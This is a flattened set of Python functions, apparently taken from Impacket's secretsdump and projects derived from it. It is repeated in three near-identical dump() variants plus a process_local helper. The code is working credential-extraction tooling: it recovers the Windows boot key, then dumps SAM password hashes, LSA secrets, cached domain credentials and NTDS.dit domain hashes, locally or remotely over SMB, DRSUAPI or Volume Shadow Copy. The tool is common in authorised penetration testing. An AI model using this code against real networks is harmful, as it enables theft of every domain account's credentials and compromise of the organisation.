def process_local(system, ntds, historic): hashes = list() print("Attempting to grab decryption key...") ops = LocalOperations(system) try: bootKey = ops.getBootKey() except: raise Exception( "Failed to retrieve decryption key. Ensure your SYSTEM hive is correct." ) print("Found key: 0x{0}.".format(hexlify(bootKey))) stopper = Event() spinner = Thread(target=__update, args=(stopper, hashes)) spinner.start() NTDSHashes(ntds, bootKey, noLMHash=ops.checkNoLMHashPolicy(), useVSSMethod=True, justNTLM=True, printUserStatus=True, history=historic, lastLogon=True, pwdLastSet=True, perSecretCallback=lambda type, secret: hashes.append( __process_hash(secret))).dump() stopper.set() spinner.join() return __get_domain(hashes), hashes
def dump(self): try: if self.__remoteName.upper() == 'LOCAL' and self.__username == '': self.__isRemote = False self.__useVSSMethod = True if self.__systemHive: localOperations = LocalOperations(self.__systemHive) bootKey = localOperations.getBootKey() if self.__ntdsFile is not None: # Let's grab target's configuration about LM Hashes storage self.__noLMHash = localOperations.checkNoLMHashPolicy() else: import binascii bootKey = binascii.unhexlify(self.__bootkey) else: self.__isRemote = True bootKey = None try: try: self.connect() except Exception as e: if os.getenv( 'KRB5CCNAME' ) is not None and self.__doKerberos is True: # SMBConnection failed. That might be because there was no way to log into the # target system. We just have a last resort. Hope we have tickets cached and that they # will work logging.debug( 'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) pass else: raise self.__remoteOps = RemoteOperations( self.__smbConnection, self.__doKerberos, self.__kdcHost) self.__remoteOps.setExecMethod(self.__options.exec_method) if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: self.__remoteOps.enableRegistry() bootKey = self.__remoteOps.getBootKey() # Let's check whether target system stores LM Hashes self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy( ) except Exception as e: self.__canProcessSAMLSA = False if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ and self.__doKerberos is True: # Giving some hints here when SPN target name validation is set to something different to Off # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ logging.error( 'Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user' ) else: logging.error('RemoteOperations failed: %s' % str(e)) # If RemoteOperations succeeded, then we can extract SAM and LSA if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: try: if self.__isRemote is True: SAMFileName = self.__remoteOps.saveSAM() else: SAMFileName = self.__samHive self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote=self.__isRemote) self.__SAMHashes.dump() if self.__outputFileName is not None: self.__SAMHashes.export(self.__outputFileName) except Exception as e: logging.error('SAM hashes extraction failed: %s' % str(e)) try: if self.__isRemote is True: SECURITYFileName = self.__remoteOps.saveSECURITY() else: SECURITYFileName = self.__securityHive self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote=self.__isRemote, history=self.__history) self.__LSASecrets.dumpCachedHashes() if self.__outputFileName is not None: self.__LSASecrets.exportCached(self.__outputFileName) self.__LSASecrets.dumpSecrets() if self.__outputFileName is not None: self.__LSASecrets.exportSecrets(self.__outputFileName) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error('LSA hashes extraction failed: %s' % str(e)) # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work if self.__isRemote is True: if self.__useVSSMethod and self.__remoteOps is not None: NTDSFileName = self.__remoteOps.saveNTDS() else: NTDSFileName = None else: NTDSFileName = self.__ntdsFile self.__NTDSHashes = NTDSHashes( NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, outputFileName=self.__outputFileName, justUser=self.__justUser, printUserStatus=self.__printUserStatus) try: self.__NTDSHashes.dump() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. resumeFile = self.__NTDSHashes.getResumeSessionFile() if resumeFile is not None: os.unlink(resumeFile) logging.error(e) if self.__justUser and str(e).find( "ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: logging.info( "You just got that error because there might be some duplicates of the same name. " "Try specifying the domain name for the user as well. It is important to specify it " "in the form of NetBIOS domain name/user (e.g. contoso/Administratror)." ) elif self.__useVSSMethod is False: logging.info( 'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter' ) self.cleanup() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(e) if self.__NTDSHashes is not None: if isinstance(e, KeyboardInterrupt): while True: answer = input("Delete resume session file? [y/N] ") if answer.upper() == '': answer = 'N' break elif answer.upper() == 'Y': answer = 'Y' break elif answer.upper() == 'N': answer = 'N' break if answer == 'Y': resumeFile = self.__NTDSHashes.getResumeSessionFile() if resumeFile is not None: os.unlink(resumeFile) try: self.cleanup() except: pass
def dump(self): # noqa: C901 with StdoutCapture() as output_captor: dumped_secrets = "" try: if self.__remote_name.upper( ) == "LOCAL" and self.__username == "": self.__is_remote = False self.__use_VSS_method = True if self.__system_hive: local_operations = LocalOperations(self.__system_hive) bootkey = local_operations.getBootKey() if self.__ntds_file is not None: # Let's grab target's configuration about LM Hashes storage. self.__no_lmhash = local_operations.checkNoLMHashPolicy( ) else: import binascii bootkey = binascii.unhexlify(self.__bootkey) else: self.__is_remote = True bootkey = None try: try: self.connect() except Exception as e: if os.getenv( "KRB5CCNAME" ) is not None and self.__do_kerberos is True: # SMBConnection failed. That might be because there was no way to # log into the # target system. We just have a last resort. Hope we have tickets # cached and that they # will work logger.debug( "SMBConnection didn't work, hoping Kerberos will help (%s)" % str(e)) else: raise self.__remote_ops = RemoteOperations( self.__smb_connection, self.__do_kerberos, self.__kdc_host) self.__remote_ops.setExecMethod( self.__options.exec_method) if (self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True): self.__remote_ops.enableRegistry() bootkey = self.__remote_ops.getBootKey() # Let's check whether target system stores LM Hashes. self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy( ) except Exception as e: self.__can_process_SAM_LSA = False if (str(e).find("STATUS_USER_SESSION_DELETED") and os.getenv("KRB5CCNAME") is not None and self.__do_kerberos is True): # Giving some hints here when SPN target name validation is set to # something different to Off. # This will prevent establishing SMB connections using TGS for SPNs # different to cifs/. logger.error( "Policy SPN target name validation might be restricting full " "DRSUAPI dump." + "Try -just-dc-user") else: logger.error("RemoteOperations failed: %s" % str(e)) # If RemoteOperations succeeded, then we can extract SAM and LSA. if (self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA): try: if self.__is_remote is True: SAM_file_name = self.__remote_ops.saveSAM() else: SAM_file_name = self.__sam_hive self.__SAM_hashes = SAMHashes( SAM_file_name, bootkey, isRemote=self.__is_remote) self.__SAM_hashes.dump() except Exception as e: logger.error("SAM hashes extraction failed: %s" % str(e)) try: if self.__is_remote is True: SECURITY_file_name = self.__remote_ops.saveSECURITY( ) else: SECURITY_file_name = self.__security_hive self.__LSA_secrets = LSASecrets( SECURITY_file_name, bootkey, self.__remote_ops, isRemote=self.__is_remote, ) self.__LSA_secrets.dumpCachedHashes() self.__LSA_secrets.dumpSecrets() except Exception as e: logger.debug(traceback.print_exc()) logger.error("LSA hashes extraction failed: %s" % str(e)) # NTDS Extraction we can try regardless of RemoteOperations failing. It might # still work. if self.__is_remote is True: if self.__use_VSS_method and self.__remote_ops is not None: NTDS_file_name = self.__remote_ops.saveNTDS() else: NTDS_file_name = None else: NTDS_file_name = self.__ntds_file self.__NTDS_hashes = NTDSHashes( NTDS_file_name, bootkey, isRemote=self.__is_remote, noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops, useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, ) try: self.__NTDS_hashes.dump() except Exception as e: logger.debug(traceback.print_exc()) if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0: # We don't store the resume file if this error happened, since this error # is related to lack # of enough privileges to access DRSUAPI. resume_file = self.__NTDS_hashes.getResumeSessionFile() if resume_file is not None: os.unlink(resume_file) logger.error(e) if self.__use_VSS_method is False: logger.error( "Something wen't wrong with the DRSUAPI approach. Try again with " "-use-vss parameter") self.cleanup() except (Exception, KeyboardInterrupt) as e: logger.debug(traceback.print_exc()) logger.error(e) if self.__NTDS_hashes is not None: if isinstance(e, KeyboardInterrupt): resume_file = self.__NTDS_hashes.getResumeSessionFile() if resume_file is not None: os.unlink(resume_file) try: self.cleanup() except Exception: pass finally: dumped_secrets = (output_captor.get_captured_stdout_output() ) # includes hashes and kerberos keys return dumped_secrets
def dump(self): try: if self.__remoteName.upper() == 'LOCAL' and self.__username == '': self.__isRemote = False self.__useVSSMethod = True if self.__systemHive: localOperations = LocalOperations(self.__systemHive) bootKey = localOperations.getBootKey() if self.__ntdsFile is not None: # Let's grab target's configuration about LM Hashes storage self.__noLMHash = localOperations.checkNoLMHashPolicy() else: import binascii bootKey = binascii.unhexlify(self.__bootkey) else: self.__isRemote = True bootKey = None try: try: self.connect() except Exception as e: if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: # SMBConnection failed. That might be because there was no way to log into the # target system. We just have a last resort. Hope we have tickets cached and that they # will work logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) pass else: raise self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) self.__remoteOps.setExecMethod(self.__options.exec_method) if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: self.__remoteOps.enableRegistry() bootKey = self.__remoteOps.getBootKey() # Let's check whether target system stores LM Hashes self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() except Exception as e: self.__canProcessSAMLSA = False if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ and self.__doKerberos is True: # Giving some hints here when SPN target name validation is set to something different to Off # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user') else: logging.error('RemoteOperations failed: %s' % str(e)) # If RemoteOperations succeeded, then we can extract SAM and LSA if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: try: if self.__isRemote is True: SAMFileName = self.__remoteOps.saveSAM() else: SAMFileName = self.__samHive self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) self.__SAMHashes.dump() if self.__outputFileName is not None: self.__SAMHashes.export(self.__outputFileName) except Exception as e: logging.error('SAM hashes extraction failed: %s' % str(e)) try: if self.__isRemote is True: SECURITYFileName = self.__remoteOps.saveSECURITY() else: SECURITYFileName = self.__securityHive self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote=self.__isRemote, history=self.__history) self.__LSASecrets.dumpCachedHashes() if self.__outputFileName is not None: self.__LSASecrets.exportCached(self.__outputFileName) self.__LSASecrets.dumpSecrets() if self.__outputFileName is not None: self.__LSASecrets.exportSecrets(self.__outputFileName) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error('LSA hashes extraction failed: %s' % str(e)) # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work if self.__isRemote is True: if self.__useVSSMethod and self.__remoteOps is not None: NTDSFileName = self.__remoteOps.saveNTDS() else: NTDSFileName = None else: NTDSFileName = self.__ntdsFile self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, outputFileName=self.__outputFileName, justUser=self.__justUser, printUserStatus= self.__printUserStatus) try: self.__NTDSHashes.dump() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. resumeFile = self.__NTDSHashes.getResumeSessionFile() if resumeFile is not None: os.unlink(resumeFile) logging.error(e) if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0: logging.info("You just got that error because there might be some duplicates of the same name. " "Try specifying the domain name for the user as well. It is important to specify it " "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") elif self.__useVSSMethod is False: logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') self.cleanup() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(e) if self.__NTDSHashes is not None: if isinstance(e, KeyboardInterrupt): while True: answer = input("Delete resume session file? [y/N] ") if answer.upper() == '': answer = 'N' break elif answer.upper() == 'Y': answer = 'Y' break elif answer.upper() == 'N': answer = 'N' break if answer == 'Y': resumeFile = self.__NTDSHashes.getResumeSessionFile() if resumeFile is not None: os.unlink(resumeFile) try: self.cleanup() except: pass